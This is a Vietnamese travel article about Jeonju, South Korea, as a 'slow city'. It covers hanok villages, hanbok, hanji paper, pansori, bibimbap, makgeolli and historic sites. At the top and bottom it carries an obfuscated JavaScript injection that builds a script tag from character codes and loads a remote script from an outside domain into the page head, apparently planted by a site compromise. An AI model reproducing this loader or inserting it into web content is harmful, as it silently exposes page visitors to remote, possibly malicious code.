Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Jeonju – Thành phố sống chậm

Jeonju được biết đến với tên gọi “Thành phố sống chậm” của Hàn Quốc, bởi ở đây không ai vội vã, hay gây ồn ào. Khu làng cổ nằm len lỏi giữa những tòa nhà cao tầng, nhưng không gian như tách biệt khỏi sự hiện đại, phát triển của thành phố.

Jeonju - Thành phố sống chậm - jadehousevn.com
Jeonju – Thành phố sống chậm – jadehousevn.com

Thành phố chậm Jeonju

Đến với Jeonju tạm ngừng guồng quay gấp gáp của cuộc sống để tĩnh dưỡng và nghỉ ngơi.

Là khởi nguồn của vương triều Joseon lừng lẫy – vương triều lâu đời nhất và cuối cùng của Hàn Quốc.

Nằm giữa trung tâm đồng bằng Honam, trải dài trên vùng đất thấp và màu mỡ, Jeonju được xem là “ chén cơm” của đất nước Hàn Quốc. Cũng như các thành phố cổ khác, Joseon vẫn giữ được diện mạo cổ kính, diễm lệ, và vô cùng bình yên ngay trong long xứ Hàn phồn hoa, tráng lệ.

Nhà Hanok

Đến Joseon ở nhà Hanok có thể coi là câu cửa miệng thú vị khi nhắc đến thành phố này. Vậy, những ngôi nhà Hanok ở Joseon có gì độc đáo? Hanok – nhà truyền thống của Hàn Quốc được làm từ gỗ kết hợp với đất, đá và các vật liệu tự nhiên có thể tái chế và không gây ô nhiễm. Nhà Hanok được giữ lại và bảo tồn ở các địa phương. Trong đó, ở Jeonju có khu nhà truyền thống lớn nhất và được bảo tồn nhất, bao gồm khoảng 700 căn nhà và có nhiều ngôi nhà vẫn còn cư dân sinh sống. Khi đến thăm làng cổ Jeonju, cảm nhận đầu tiên của du khách chính là sự kết hợp hài hòa giữa cảnh quan truyền thống và hiện đại. Đây chính là nơi mà người ta có thể sống chậm lại, sống thư thái một cách yên bình, tuyệt đối nhịp sống hiện đại không len lỏi vào được. Nghỉ ngơi ngay tại làng cổ Jeonju là một trải nghiệm vô cùng thú vị trong những ngôi nhà Hanok tuyệt đẹp với tiện nghi hiện đại mang đạm phong vị địa phương.

Jeonju - Thành phố sống chậm - jadehousevn.com
Jeonju – Thành phố sống chậm – jadehousevn.com

Không thể bỏ qua trải nghiệm mặc Hanbok với đủ màu sắc và phong cách, từ thùy mị, nết na đến quý phái, sang trọng; thậm chí còn có Hanbok dành riêng cho các Giseng (kỹ nữ) thời xưa. Hoặc có thể làm đồ thủ công với giấy Hanji tại trung tâm thủ công mỹ nghệ thành phố Jeonju. Hanji là loại giấy cổ truyền của Hàn Quốc được làm từ gỗ cây dâu tằm, và trở thành di sản văn hóa tiêu biểu cho tính dân tộc. Giấy Hanji có độ mềm mại mà chắc chắn, vì thế, có thể làm những đồ lưu niệm độc đáo như khăn tay, khăn choàng, hoa. Thưởng thức Pansori – loại hình hát kể truyện truyền thống được UNESCO công nhận là di sản văn hóa thế giới tại trung tâm văn hóa hát kể truyện Pansori nằm ngay giữa làng cổ Jeonju.

Thành phố sáng tạo ẩm thực

thành phố sáng tạo ẩm thực – những đặc sản nào đã tạo nên thương hiệu riêng cho Jeonju? Hãy đi “tour ẩm thực” để thỏa mãn những hiếu kỳ về hương vị của thành phố này! Khi nhắc đến Jeonju, người ta nghĩ ngay đến Bibimbap (cơm trộn) hay món cơm canh giá đỗ (Kongnamul Gukbap). Một bát cơm Bibimbap như một vườn hoa xuân rực rỡ sắc màu với màu trắng của cơm, màu vàng của trứng, màu xanh của rau, màu trắng của nấm, màu nâu của thịt bò và màu đỏ của tương ớt; trộn đều lên và múc vào miệng một miếng to. Rưới thêm một ít dầu vừng sẽ thành một món ăn tuyệt hảo. Nếu muốn ăn thanh đạm hãy thưởng thức hương vị truyền thống của canh giá đỗ với vị chín nhừ của giá đỗ tương và lòng đỏ trứng được thả vào trong canh hoặc cảm nhận hương vị mới mẻ của món ăn với vị giòn tàn của giá được ăn riêng với trứng.

Khi nhắc đến Jeonju, người ta nghĩ ngay đến Bibimbap

Ngoài ra, khi nhắc đến đặc trưng của Hàn Quốc, không thể không nhắc đến hương vị khó quên của các món ăn lên men. Ở Jeonju, chính là rượu truyền thống Jeonju Moju thường được gọi là rượu Makgeolli được đun bởi 8 vị thuốc Bắc và một số nguyên liệu khác như gừng, táo tàu, lê, quế…Vị rượu vì thế mà vừa có mùi men rượu, vừa đượm mùi thuốc bắc và phảng phất vị ngọt của táo tàu. Món nhậu kèm theo là hải sản tẩm bột rán – Haemul Pajeon là loại bánh có nhân mực hoặc hàu và được rán giòn. Lớp vỏ giòn tan hòa quyện với nhân hải sản ngọt béo, nhâm nhi một chút Makgaelli cùng ngắm hoàng hôn Jeonju. Thật ấm áp, phải không!

Khi nhắc đến Jeonju, người ta nghĩ ngay đến Bibimbap
Khi nhắc đến Jeonju, người ta nghĩ ngay đến Bibimbap

Thành phố lịch sử

Cứ hết con đường này lại đến con đường khác, nối và cắt nhau chằng chịt để hình thành nên một thành phố yên ả và thanh bình. Sáng sớm, tản bộ trên đồi ngắm bình minh trên đài Omokdae. Dạo quanh lăng mộ Gyeonggi – ngôi đền được xây dựng trên mảnh đất hạnh phúc; hướng sang bên cạnh là Poongnammun – cổng thành còn lại duy nhất ở Jeonju; không thể bỏ qua phía đối diện là thánh đường Jeondong – thánh đường lớn nhất và có bề dày lịch sử lâu nhất giữa khu kiến trúc cận đại theo phong cách châu u ở Honam. Đi chợ đêm Nambu và tản bộ trên đường Geksa – trung tâm mua sắm – “Myeongdong” của thành phố Jeonju. Mỗi ngày, cuộc sống diễn ra rất đỗi nhẹ nhàng, mộc mạc, có thể đánh thức mọi cảm xúc sâu sắc nhất trong tâm hồn con người. Có lẽ chính bởi điều này mà Jeonju được gọi là “Thành phố chậm (Slow City)” đầu tiên trên thế giới.

Jeonju – Thành phố sống chậm

(Dunji, Sưu tầm và biên soạn)

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();